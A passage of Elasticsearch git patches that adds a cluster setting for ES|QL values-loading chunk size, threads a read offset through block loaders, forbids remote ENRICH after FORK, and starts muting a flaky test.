             MappedFieldType ft = mapperService.fieldType("key");
             var readerFactory = new ValuesSourceReaderOperator.Factory(
+                ByteSizeValue.ofGb(1),
                 List.of(new ValuesSourceReaderOperator.FieldInfo("key", ElementType.INT, shardIdx -> {
                     seenShards.add(shardIdx);
                     return ft.blockLoader(blContext());
diff --git a/x-pack/plugin/esql/qa/server/single-node/src/javaRestTest/java/org/elasticsearch/xpack/esql/qa/single_node/EsqlSpecIT.java b/x-pack/plugin/esql/qa/server/single-node/src/javaRestTest/java/org/elasticsearch/xpack/esql/qa/single_node/EsqlSpecIT.java
index d01e1c9fb7f56..3484f19afa451 100644
--- a/x-pack/plugin/esql/qa/server/single-node/src/javaRestTest/java/org/elasticsearch/xpack/esql/qa/single_node/EsqlSpecIT.java
+++ b/x-pack/plugin/esql/qa/server/single-node/src/javaRestTest/java/org/elasticsearch/xpack/esql/qa/single_node/EsqlSpecIT.java
@@ -9,13 +9,21 @@
 
 import com.carrotsearch.randomizedtesting.annotations.ThreadLeakFilters;
 
+import org.elasticsearch.client.Request;
+import org.elasticsearch.common.Strings;
 import org.elasticsearch.test.TestClustersThreadFilter;
 import org.elasticsearch.test.cluster.ElasticsearchCluster;
+import org.elasticsearch.xcontent.XContentBuilder;
+import org.elasticsearch.xcontent.json.JsonXContent;
 import org.elasticsearch.xpack.esql.CsvSpecReader.CsvTestCase;
+import org.elasticsearch.xpack.esql.planner.PhysicalSettings;
 import org.elasticsearch.xpack.esql.plugin.ComputeService;
 import org.elasticsearch.xpack.esql.qa.rest.EsqlSpecTestCase;
+import org.junit.Before;
 import org.junit.ClassRule;
 
+import java.io.IOException;
+
 @ThreadLeakFilters(filters = TestClustersThreadFilter.class)
 public class EsqlSpecIT extends EsqlSpecTestCase {
     @ClassRule
@@ -50,4 +58,14 @@ protected boolean enableRoundingDoubleValuesOnAsserting() {
     protected boolean supportsSourceFieldMapping() {
         return cluster.getNumNodes() == 1;
     }
+
+    @Before
+    public void configureChunks() throws IOException {
+        boolean smallChunks = randomBoolean();
+        Request request = new Request("PUT", "/_cluster/settings");
+        XContentBuilder builder = JsonXContent.contentBuilder().startObject().startObject("persistent");
+        builder.field(PhysicalSettings.VALUES_LOADING_JUMBO_SIZE.getKey(), smallChunks ? "1kb" : null);
+        request.setJsonEntity(Strings.toString(builder.endObject().endObject()));
+        assertOK(client().performRequest(request));
+    }
 }
diff --git a/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/LookupFromIndexIT.java b/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/LookupFromIndexIT.java
index 1d63a2bcf5373..e25cb82f29851 100644
--- a/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/LookupFromIndexIT.java
+++ b/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/LookupFromIndexIT.java
@@ -60,6 +60,7 @@
 import org.elasticsearch.xpack.esql.core.type.DataType;
 import org.elasticsearch.xpack.esql.enrich.LookupFromIndexOperator;
 import org.elasticsearch.xpack.esql.planner.EsPhysicalOperationProviders;
+import org.elasticsearch.xpack.esql.planner.PhysicalSettings;
 import org.elasticsearch.xpack.esql.planner.PlannerUtils;
 import org.elasticsearch.xpack.esql.plugin.EsqlPlugin;
 import org.elasticsearch.xpack.esql.plugin.QueryPragmas;
@@ -198,6 +199,7 @@ private void runLookup(DataType keyType, PopulateIndices populateIndices) throws
                 false // no scoring
             );
             ValuesSourceReaderOperator.Factory reader = new ValuesSourceReaderOperator.Factory(
+                PhysicalSettings.VALUES_LOADING_JUMBO_SIZE.getDefault(Settings.EMPTY),
                 List.of(
                     new ValuesSourceReaderOperator.FieldInfo(
                         "key",
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/enrich/AbstractLookupService.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/enrich/AbstractLookupService.java
index 661b6d08d1455..6bd3ca2584dc9 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/enrich/AbstractLookupService.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/enrich/AbstractLookupService.java
@@ -447,6 +447,7 @@ private static Operator extractFieldsOperator(
         }
         return new ValuesSourceReaderOperator(
             driverContext.blockFactory(),
+            Long.MAX_VALUE,
             fields,
             List.of(
                 new ValuesSourceReaderOperator.ShardContext(
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/planner/EsPhysicalOperationProviders.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/planner/EsPhysicalOperationProviders.java
index 3f403d3e4fcd2..ac63c644281dd 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/planner/EsPhysicalOperationProviders.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/planner/EsPhysicalOperationProviders.java
@@ -22,7 +22,6 @@
 import org.elasticsearch.compute.aggregation.GroupingAggregator;
 import org.elasticsearch.compute.aggregation.blockhash.BlockHash;
 import org.elasticsearch.compute.data.ElementType;
-import org.elasticsearch.compute.lucene.DataPartitioning;
 import org.elasticsearch.compute.lucene.LuceneCountOperator;
 import org.elasticsearch.compute.lucene.LuceneOperator;
 import org.elasticsearch.compute.lucene.LuceneSliceQueue;
@@ -143,17 +142,17 @@ public boolean hasReferences() {
     }
 
     private final List<ShardContext> shardContexts;
-    private final DataPartitioning defaultDataPartitioning;
+    private final PhysicalSettings physicalSettings;
 
     public EsPhysicalOperationProviders(
         FoldContext foldContext,
         List<ShardContext> shardContexts,
         AnalysisRegistry analysisRegistry,
-        DataPartitioning defaultDataPartitioning
+        PhysicalSettings physicalSettings
     ) {
         super(foldContext, analysisRegistry);
         this.shardContexts = shardContexts;
-        this.defaultDataPartitioning = defaultDataPartitioning;
+        this.physicalSettings = physicalSettings;
     }
 
     @Override
@@ -178,7 +177,10 @@ public final PhysicalOperation fieldExtractPhysicalOperation(FieldExtractExec fi
             // TODO: consolidate with ValuesSourceReaderOperator
             return source.with(new TimeSeriesExtractFieldOperator.Factory(fields, shardContexts), layout.build());
         } else {
-            return source.with(new ValuesSourceReaderOperator.Factory(fields, readers, docChannel), layout.build());
+            return source.with(
+                new ValuesSourceReaderOperator.Factory(physicalSettings.valuesLoadingJumboSize(), fields, readers, docChannel),
+                layout.build()
+            );
         }
     }
 
@@ -281,7 +283,7 @@ public final PhysicalOperation sourcePhysicalOperation(EsQueryExec esQueryExec,
             luceneFactory = new LuceneTopNSourceOperator.Factory(
                 shardContexts,
                 querySupplier(esQueryExec.query()),
-                context.queryPragmas().dataPartitioning(defaultDataPartitioning),
+                context.queryPragmas().dataPartitioning(physicalSettings.defaultDataPartitioning()),
                 context.queryPragmas().taskConcurrency(),
                 context.pageSize(rowEstimatedSize),
                 limit,
@@ -292,7 +294,7 @@ public final PhysicalOperation sourcePhysicalOperation(EsQueryExec esQueryExec,
             luceneFactory = new LuceneSourceOperator.Factory(
                 shardContexts,
                 querySupplier(esQueryExec.query()),
-                context.queryPragmas().dataPartitioning(defaultDataPartitioning),
+                context.queryPragmas().dataPartitioning(physicalSettings.defaultDataPartitioning()),
                 context.queryPragmas().taskConcurrency(),
                 context.pageSize(rowEstimatedSize),
                 limit,
@@ -344,7 +346,7 @@ public LuceneCountOperator.Factory countSource(LocalExecutionPlannerContext cont
         return new LuceneCountOperator.Factory(
             shardContexts,
             querySupplier(queryBuilder),
-            context.queryPragmas().dataPartitioning(defaultDataPartitioning),
+            context.queryPragmas().dataPartitioning(physicalSettings.defaultDataPartitioning()),
             context.queryPragmas().taskConcurrency(),
             limit == null ? NO_LIMIT : (Integer) limit.fold(context.foldCtx())
         );
@@ -566,8 +568,8 @@ public ColumnAtATimeReader columnAtATimeReader(LeafReaderContext context) throws
             }
             return new ColumnAtATimeReader() {
                 @Override
-                public Block read(BlockFactory factory, Docs docs) throws IOException {
-                    Block block = reader.read(factory, docs);
+                public Block read(BlockFactory factory, Docs docs, int offset) throws IOException {
+                    Block block = reader.read(factory, docs, offset);
                     return typeConverter.convert((org.elasticsearch.compute.data.Block) block);
                 }
 
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/planner/PhysicalSettings.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/planner/PhysicalSettings.java
new file mode 100644
index 0000000000000..4276eeaf39f9b
--- /dev/null
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/planner/PhysicalSettings.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+ * or more contributor license agreements. Licensed under the Elastic License
+ * 2.0; you may not use this file except in compliance with the Elastic License
+ * 2.0.
+ */
+
+package org.elasticsearch.xpack.esql.planner;
+
+import org.elasticsearch.cluster.service.ClusterService;
+import org.elasticsearch.common.settings.Setting;
+import org.elasticsearch.common.unit.ByteSizeValue;
+import org.elasticsearch.common.unit.MemorySizeValue;
+import org.elasticsearch.compute.lucene.DataPartitioning;
+import org.elasticsearch.monitor.jvm.JvmInfo;
+
+/**
+ * Values for cluster level settings used in physical planning.
+ */
+public class PhysicalSettings {
+    public static final Setting<DataPartitioning> DEFAULT_DATA_PARTITIONING = Setting.enumSetting(
+        DataPartitioning.class,
+        "esql.default_data_partitioning",
+        DataPartitioning.AUTO,
+        Setting.Property.NodeScope,
+        Setting.Property.Dynamic
+    );
+
+    public static final Setting<ByteSizeValue> VALUES_LOADING_JUMBO_SIZE = new Setting<>("esql.values_loading_jumbo_size", settings -> {
+        long proportional = JvmInfo.jvmInfo().getMem().getHeapMax().getBytes() / 1024;
+        return ByteSizeValue.ofBytes(Math.max(proportional, ByteSizeValue.ofMb(1).getBytes())).getStringRep();
+    },
+        s -> MemorySizeValue.parseBytesSizeValueOrHeapRatio(s, "esql.values_loading_jumbo_size"),
+        Setting.Property.NodeScope,
+        Setting.Property.Dynamic
+    );
+
+    private volatile DataPartitioning defaultDataPartitioning;
+    private volatile ByteSizeValue valuesLoadingJumboSize;
+
+    /**
+     * Ctor for prod that listens for updates from the {@link ClusterService}.
+     */
+    public PhysicalSettings(ClusterService clusterService) {
+        clusterService.getClusterSettings().initializeAndWatch(DEFAULT_DATA_PARTITIONING, v -> this.defaultDataPartitioning = v);
+        clusterService.getClusterSettings().initializeAndWatch(VALUES_LOADING_JUMBO_SIZE, v -> this.valuesLoadingJumboSize = v);
+    }
+
+    /**
+     * Ctor for testing.
+     */
+    public PhysicalSettings(DataPartitioning defaultDataPartitioning, ByteSizeValue valuesLoadingJumboSize) {
+        this.defaultDataPartitioning = defaultDataPartitioning;
+        this.valuesLoadingJumboSize = valuesLoadingJumboSize;
+    }
+
+    public DataPartitioning defaultDataPartitioning() {
+        return defaultDataPartitioning;
+    }
+
+    public ByteSizeValue valuesLoadingJumboSize() {
+        return valuesLoadingJumboSize;
+    }
+}
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/ComputeService.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/ComputeService.java
index 973455f435fab..d12799ab8b170 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/ComputeService.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/ComputeService.java
@@ -19,7 +19,6 @@
 import org.elasticsearch.common.util.concurrent.RunOnce;
 import org.elasticsearch.compute.data.BlockFactory;
 import org.elasticsearch.compute.data.Page;
-import org.elasticsearch.compute.lucene.DataPartitioning;
 import org.elasticsearch.compute.operator.DriverCompletionInfo;
 import org.elasticsearch.compute.operator.DriverTaskRunner;
 import org.elasticsearch.compute.operator.FailureCollector;
@@ -60,6 +59,7 @@
 import org.elasticsearch.xpack.esql.plan.physical.PhysicalPlan;
 import org.elasticsearch.xpack.esql.planner.EsPhysicalOperationProviders;
 import org.elasticsearch.xpack.esql.planner.LocalExecutionPlanner;
+import org.elasticsearch.xpack.esql.planner.PhysicalSettings;
 import org.elasticsearch.xpack.esql.planner.PlannerUtils;
 import org.elasticsearch.xpack.esql.session.Configuration;
 import org.elasticsearch.xpack.esql.session.EsqlCCSUtils;
@@ -138,8 +138,7 @@ public class ComputeService {
     private final DataNodeComputeHandler dataNodeComputeHandler;
     private final ClusterComputeHandler clusterComputeHandler;
     private final ExchangeService exchangeService;
-
-    private volatile DataPartitioning defaultDataPartitioning;
+    private final PhysicalSettings physicalSettings;
 
     @SuppressWarnings("this-escape")
     public ComputeService(
@@ -178,7 +177,7 @@ public ComputeService(
             esqlExecutor,
             dataNodeComputeHandler
         );
-        clusterService.getClusterSettings().initializeAndWatch(EsqlPlugin.DEFAULT_DATA_PARTITIONING, v -> this.defaultDataPartitioning = v);
+        this.physicalSettings = new PhysicalSettings(clusterService);
     }
 
     public void execute(
@@ -608,7 +607,7 @@ public SourceProvider createSourceProvider() {
             context.foldCtx(),
             contexts,
             searchService.getIndicesService().getAnalysis(),
-            defaultDataPartitioning
+            physicalSettings
         );
         try {
             LocalExecutionPlanner planner = new LocalExecutionPlanner(
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/EsqlPlugin.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/EsqlPlugin.java
index 1374b38c15999..776874fbf90f6 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/EsqlPlugin.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/EsqlPlugin.java
@@ -21,7 +21,6 @@
 import org.elasticsearch.common.util.concurrent.EsExecutors;
 import org.elasticsearch.compute.data.BlockFactory;
 import org.elasticsearch.compute.data.BlockFactoryProvider;
-import org.elasticsearch.compute.lucene.DataPartitioning;
 import org.elasticsearch.compute.lucene.LuceneOperator;
 import org.elasticsearch.compute.lucene.TimeSeriesSourceOperator;
 import org.elasticsearch.compute.lucene.read.ValuesSourceReaderOperatorStatus;
@@ -76,6 +75,7 @@
 import org.elasticsearch.xpack.esql.io.stream.ExpressionQueryBuilder;
 import org.elasticsearch.xpack.esql.io.stream.PlanStreamWrapperQueryBuilder;
 import org.elasticsearch.xpack.esql.plan.PlanWritables;
+import org.elasticsearch.xpack.esql.planner.PhysicalSettings;
 import org.elasticsearch.xpack.esql.querydsl.query.SingleValueQuery;
 import org.elasticsearch.xpack.esql.querylog.EsqlQueryLog;
 import org.elasticsearch.xpack.esql.session.IndexResolver;
@@ -161,14 +161,6 @@ public class EsqlPlugin extends Plugin implements ActionPlugin, ExtensiblePlugin
         Setting.Property.Dynamic
     );
 
-    public static final Setting<DataPartitioning> DEFAULT_DATA_PARTITIONING = Setting.enumSetting(
-        DataPartitioning.class,
-        "esql.default_data_partitioning",
-        DataPartitioning.AUTO,
-        Setting.Property.NodeScope,
-        Setting.Property.Dynamic
-    );
-
     /**
      * Tuning parameter for deciding when to use the "merge" stored field loader.
      * Think of it as "how similar to a sequential block of documents do I have to
@@ -264,7 +256,8 @@ public List<Setting<?>> getSettings() {
             ESQL_QUERYLOG_THRESHOLD_INFO_SETTING,
             ESQL_QUERYLOG_THRESHOLD_WARN_SETTING,
             ESQL_QUERYLOG_INCLUDE_USER_SETTING,
-            DEFAULT_DATA_PARTITIONING,
+            PhysicalSettings.DEFAULT_DATA_PARTITIONING,
+            PhysicalSettings.VALUES_LOADING_JUMBO_SIZE,
             STORED_FIELDS_SEQUENTIAL_PROPORTION,
             EsqlFlags.ESQL_STRING_LIKE_ON_INDEX
         );
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/QueryPragmas.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/QueryPragmas.java
index 345bf3b8767ef..bdd0e382c3fd3 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/QueryPragmas.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/QueryPragmas.java
@@ -22,6 +22,7 @@
 import org.elasticsearch.index.mapper.MappedFieldType;
 import org.elasticsearch.threadpool.ThreadPool;
 import org.elasticsearch.xpack.esql.core.expression.Expression;
+import org.elasticsearch.xpack.esql.planner.PhysicalSettings;
 
 import java.io.IOException;
 import java.util.Locale;
@@ -45,7 +46,7 @@ public final class QueryPragmas implements Writeable {
      * the enum {@link DataPartitioning} which has more documentation. Not an
      * {@link Setting#enumSetting} because those can't have {@code null} defaults.
      * {@code null} here means "use the default from the cluster setting
-     * named {@link EsqlPlugin#DEFAULT_DATA_PARTITIONING}."
+     * named {@link PhysicalSettings#DEFAULT_DATA_PARTITIONING}."
      */
     public static final Setting<String> DATA_PARTITIONING = Setting.simpleString("data_partitioning");
 
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/optimizer/PhysicalPlanOptimizerTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/optimizer/PhysicalPlanOptimizerTests.java
index 876a445e9e563..7f4e1d4df6c82 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/optimizer/PhysicalPlanOptimizerTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/optimizer/PhysicalPlanOptimizerTests.java
@@ -14,6 +14,7 @@
 import org.elasticsearch.common.geo.ShapeRelation;
 import org.elasticsearch.common.lucene.BytesRefs;
 import org.elasticsearch.common.settings.Settings;
+import org.elasticsearch.common.unit.ByteSizeValue;
 import org.elasticsearch.common.util.BigArrays;
 import org.elasticsearch.common.util.set.Sets;
 import org.elasticsearch.compute.aggregation.AggregatorMode;
@@ -135,6 +136,7 @@
 import org.elasticsearch.xpack.esql.plan.physical.UnaryExec;
 import org.elasticsearch.xpack.esql.planner.EsPhysicalOperationProviders;
 import org.elasticsearch.xpack.esql.planner.LocalExecutionPlanner;
+import org.elasticsearch.xpack.esql.planner.PhysicalSettings;
 import org.elasticsearch.xpack.esql.planner.PlannerUtils;
 import org.elasticsearch.xpack.esql.planner.mapper.Mapper;
 import org.elasticsearch.xpack.esql.plugin.EsqlFlags;
@@ -7876,7 +7878,12 @@ private LocalExecutionPlanner.LocalExecutionPlan physicalOperationsFromPhysicalP
             null,
             null,
             null,
-            new EsPhysicalOperationProviders(FoldContext.small(), List.of(), null, DataPartitioning.AUTO),
+            new EsPhysicalOperationProviders(
+                FoldContext.small(),
+                List.of(),
+                null,
+                new PhysicalSettings(DataPartitioning.AUTO, ByteSizeValue.ofMb(1))
+            ),
             List.of()
         );
 
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/planner/LocalExecutionPlannerTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/planner/LocalExecutionPlannerTests.java
index 6749f03bedde7..b56f4a3a4898b 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/planner/LocalExecutionPlannerTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/planner/LocalExecutionPlannerTests.java
@@ -19,6 +19,7 @@
 import org.apache.lucene.tests.index.RandomIndexWriter;
 import org.elasticsearch.cluster.ClusterName;
 import org.elasticsearch.common.settings.Settings;
+import org.elasticsearch.common.unit.ByteSizeValue;
 import org.elasticsearch.common.util.BigArrays;
 import org.elasticsearch.compute.lucene.DataPartitioning;
 import org.elasticsearch.compute.lucene.LuceneSourceOperator;
@@ -340,7 +341,12 @@ private Configuration config() {
     }
 
     private EsPhysicalOperationProviders esPhysicalOperationProviders(List<EsPhysicalOperationProviders.ShardContext> shardContexts) {
-        return new EsPhysicalOperationProviders(FoldContext.small(), shardContexts, null, DataPartitioning.AUTO);
+        return new EsPhysicalOperationProviders(
+            FoldContext.small(),
+            shardContexts,
+            null,
+            new PhysicalSettings(DataPartitioning.AUTO, ByteSizeValue.ofMb(1))
+        );
     }
 
     private List<EsPhysicalOperationProviders.ShardContext> createShardContexts() throws IOException {
diff --git a/x-pack/plugin/mapper-aggregate-metric/src/main/java/org/elasticsearch/xpack/aggregatemetric/mapper/AggregateMetricDoubleFieldMapper.java b/x-pack/plugin/mapper-aggregate-metric/src/main/java/org/elasticsearch/xpack/aggregatemetric/mapper/AggregateMetricDoubleFieldMapper.java
index 5eafb858eacbe..3658313642700 100644
--- a/x-pack/plugin/mapper-aggregate-metric/src/main/java/org/elasticsearch/xpack/aggregatemetric/mapper/AggregateMetricDoubleFieldMapper.java
+++ b/x-pack/plugin/mapper-aggregate-metric/src/main/java/org/elasticsearch/xpack/aggregatemetric/mapper/AggregateMetricDoubleFieldMapper.java
@@ -571,20 +571,24 @@ public String toString() {
                     }
 
                     @Override
-                    public Block read(BlockFactory factory, Docs docs) throws IOException {
-                        try (var builder = factory.aggregateMetricDoubleBuilder(docs.count())) {
-                            copyDoubleValuesToBuilder(docs, builder.min(), minValues);
-                            copyDoubleValuesToBuilder(docs, builder.max(), maxValues);
-                            copyDoubleValuesToBuilder(docs, builder.sum(), sumValues);
-                            copyIntValuesToBuilder(docs, builder.count(), valueCountValues);
+                    public Block read(BlockFactory factory, Docs docs, int offset) throws IOException {
+                        try (var builder = factory.aggregateMetricDoubleBuilder(docs.count() - offset)) {
+                            copyDoubleValuesToBuilder(docs, offset, builder.min(), minValues);
+                            copyDoubleValuesToBuilder(docs, offset, builder.max(), maxValues);
+                            copyDoubleValuesToBuilder(docs, offset, builder.sum(), sumValues);
+                            copyIntValuesToBuilder(docs, offset, builder.count(), valueCountValues);
                             return builder.build();
                         }
                     }
 
-                    private void copyDoubleValuesToBuilder(Docs docs, BlockLoader.DoubleBuilder builder, NumericDocValues values)
-                        throws IOException {
+                    private void copyDoubleValuesToBuilder(
+                        Docs docs,
+                        int offset,
+                        BlockLoader.DoubleBuilder builder,
+                        NumericDocValues values
+                    ) throws IOException {
                         int lastDoc = -1;
-                        for (int i = 0; i < docs.count(); i++) {
+                        for (int i = offset; i < docs.count(); i++) {
                             int doc = docs.get(i);
                             if (doc < lastDoc) {
                                 throw new IllegalStateException("docs within same block must be in order");
@@ -600,10 +604,10 @@ private void copyDoubleValuesToBuilder(Docs docs, BlockLoader.DoubleBuilder buil
                         }
                     }
 
-                    private void copyIntValuesToBuilder(Docs docs, BlockLoader.IntBuilder builder, NumericDocValues values)
+                    private void copyIntValuesToBuilder(Docs docs, int offset, BlockLoader.IntBuilder builder, NumericDocValues values)
                         throws IOException {
                         int lastDoc = -1;
-                        for (int i = 0; i < docs.count(); i++) {
+                        for (int i = offset; i < docs.count(); i++) {
                             int doc = docs.get(i);
                             if (doc < lastDoc) {
                                 throw new IllegalStateException("docs within same block must be in order");
diff --git a/x-pack/plugin/mapper-constant-keyword/src/test/java/org/elasticsearch/xpack/constantkeyword/mapper/ConstantKeywordFieldMapperTests.java b/x-pack/plugin/mapper-constant-keyword/src/test/java/org/elasticsearch/xpack/constantkeyword/mapper/ConstantKeywordFieldMapperTests.java
index c0c2db53b97e9..1a94ca1b8d40a 100644
--- a/x-pack/plugin/mapper-constant-keyword/src/test/java/org/elasticsearch/xpack/constantkeyword/mapper/ConstantKeywordFieldMapperTests.java
+++ b/x-pack/plugin/mapper-constant-keyword/src/test/java/org/elasticsearch/xpack/constantkeyword/mapper/ConstantKeywordFieldMapperTests.java
@@ -276,7 +276,7 @@ public FieldNamesFieldMapper.FieldNamesFieldType fieldNames() {
             iw.close();
             try (DirectoryReader reader = DirectoryReader.open(directory)) {
                 TestBlock block = (TestBlock) loader.columnAtATimeReader(reader.leaves().get(0))
-                    .read(TestBlock.factory(reader.numDocs()), new BlockLoader.Docs() {
+                    .read(TestBlock.factory(), new BlockLoader.Docs() {
                         @Override
                         public int count() {
                             return 1;
@@ -286,7 +286,7 @@ public int count() {
                         public int get(int i) {
                             return 0;
                         }
-                    });
+                    }, 0);
                 assertThat(block.get(0), nullValue());
             }
         }

From 345cc4880b3fb8864dad61b1a4ea2e45a3739d3c Mon Sep 17 00:00:00 2001
From: Stanislav Malyshev <smalyshev@users.noreply.github.com>
Date: Mon, 28 Jul 2025 14:52:48 -0600
Subject: [PATCH 249/299] [9.1] Restrict remote ENRICH after FORK (#131945)
 (#132039)

* Restrict remote ENRICH after FORK (#131945)

* Restrict remote LOOKUP JOIN after FORK

(cherry picked from commit 24aefcc2dc854675f7346ef15d925b0d65924bc5)

# Conflicts:
#	x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/planner/PlannerUtils.java

* Not for backport
---
 docs/changelog/131945.yaml                    |  6 +++++
 .../xpack/esql/plan/logical/Enrich.java       | 25 ++++++-------------
 .../xpack/esql/planner/PlannerUtils.java      |  2 ++
 .../xpack/esql/analysis/VerifierTests.java    |  8 ++++++
 4 files changed, 24 insertions(+), 17 deletions(-)
 create mode 100644 docs/changelog/131945.yaml

diff --git a/docs/changelog/131945.yaml b/docs/changelog/131945.yaml
new file mode 100644
index 0000000000000..06d8db84c1014
--- /dev/null
+++ b/docs/changelog/131945.yaml
@@ -0,0 +1,6 @@
+pr: 131945
+summary: Restrict remote ENRICH after FORK
+area: ES|QL
+type: bug
+issues:
+ - 131445
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plan/logical/Enrich.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plan/logical/Enrich.java
index 7307fd8efad39..413fe4d6d36ab 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plan/logical/Enrich.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plan/logical/Enrich.java
@@ -39,6 +39,7 @@
 
 import java.io.IOException;
 import java.util.ArrayList;
+import java.util.HashSet;
 import java.util.List;
 import java.util.Locale;
 import java.util.Map;
@@ -309,30 +310,20 @@ private static void checkForPlansForbiddenBeforeRemoteEnrich(Enrich enrich, Fail
             return;
         }
 
-        // TODO: shouldn't we also include FORK? Everything downstream from FORK should be coordinator-only.
-        // https://github.com/elastic/elasticsearch/issues/131445
-        boolean[] aggregate = { false };
-        boolean[] coordinatorOnlyEnrich = { false };
-        boolean[] lookupJoin = { false };
+        Set<String> badCommands = new HashSet<>();
 
         enrich.forEachUp(LogicalPlan.class, u -> {
             if (u instanceof Aggregate) {
-                aggregate[0] = true;
+                badCommands.add("STATS");
             } else if (u instanceof Enrich upstreamEnrich && upstreamEnrich.mode() == Enrich.Mode.COORDINATOR) {
-                coordinatorOnlyEnrich[0] = true;
+                badCommands.add("another ENRICH with coordinator policy");
             } else if (u instanceof LookupJoin) {
-                lookupJoin[0] = true;
+                badCommands.add("LOOKUP JOIN");
+            } else if (u instanceof Fork) {
+                badCommands.add("FORK");
             }
         });
 
-        if (aggregate[0]) {
-            failures.add(fail(enrich, "ENRICH with remote policy can't be executed after STATS"));
-        }
-        if (coordinatorOnlyEnrich[0]) {
-            failures.add(fail(enrich, "ENRICH with remote policy can't be executed after another ENRICH with coordinator policy"));
-        }
-        if (lookupJoin[0]) {
-            failures.add(fail(enrich, "ENRICH with remote policy can't be executed after LOOKUP JOIN"));
-        }
+        badCommands.forEach(c -> failures.add(fail(enrich, "ENRICH with remote policy can't be executed after " + c)));
     }
 }
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/planner/PlannerUtils.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/planner/PlannerUtils.java
index da0ea1c0adff6..48cfa24bec069 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/planner/PlannerUtils.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/planner/PlannerUtils.java
@@ -120,6 +120,8 @@ public static PhysicalPlan reductionPlan(PhysicalPlan plan) {
         }
         final FragmentExec fragment = (FragmentExec) fragments.getFirst();
 
+        // Though FORK is technically a pipeline breaker, it should never show up here.
+        // See also: https://github.com/elastic/elasticsearch/pull/131945/files#r2235572935
         final var pipelineBreakers = fragment.fragment().collectFirstChildren(Mapper::isPipelineBreaker);
         if (pipelineBreakers.isEmpty()) {
             return null;
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/analysis/VerifierTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/analysis/VerifierTests.java
index f2092ed2d5e21..6dd20c7b46719 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/analysis/VerifierTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/analysis/VerifierTests.java
@@ -2357,6 +2357,14 @@ public void testRemoteEnrichAfterCoordinatorOnlyPlans() {
             | ENRICH _remote:languages ON language_code
             """, analyzer);
         assertThat(err, containsString("7:3: ENRICH with remote policy can't be executed after another ENRICH with coordinator policy"));
+
+        err = error("""
+            FROM test
+            | FORK (WHERE languages == 1) (WHERE languages == 2)
+            | EVAL language_code = languages
+            | ENRICH _remote:languages ON language_code
+            """, analyzer);
+        assertThat(err, containsString("4:3: ENRICH with remote policy can't be executed after FORK"));
     }
 
     private void checkFullTextFunctionsInStats(String functionInvocation) {

From dd3fedcab58ca81d9ae6d26780fe138100d5af42 Mon Sep 17 00:00:00 2001
From: elasticsearchmachine
 <58790826+elasticsearchmachine@users.noreply.github.com>
Date: Mon, 28 Jul 2025 23:29:30 +0200
Subject: [PATCH 250/299] Mute
 org.elasticsearch.index.engine.MergeWithLowDiskSpaceIT
 testRelocationWhileForceMerging #131789

---
 muted-tests.yml | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/muted-tests.yml b/muted-tests.yml
index bedad892cd6dd..a95e7f344d57c 100644
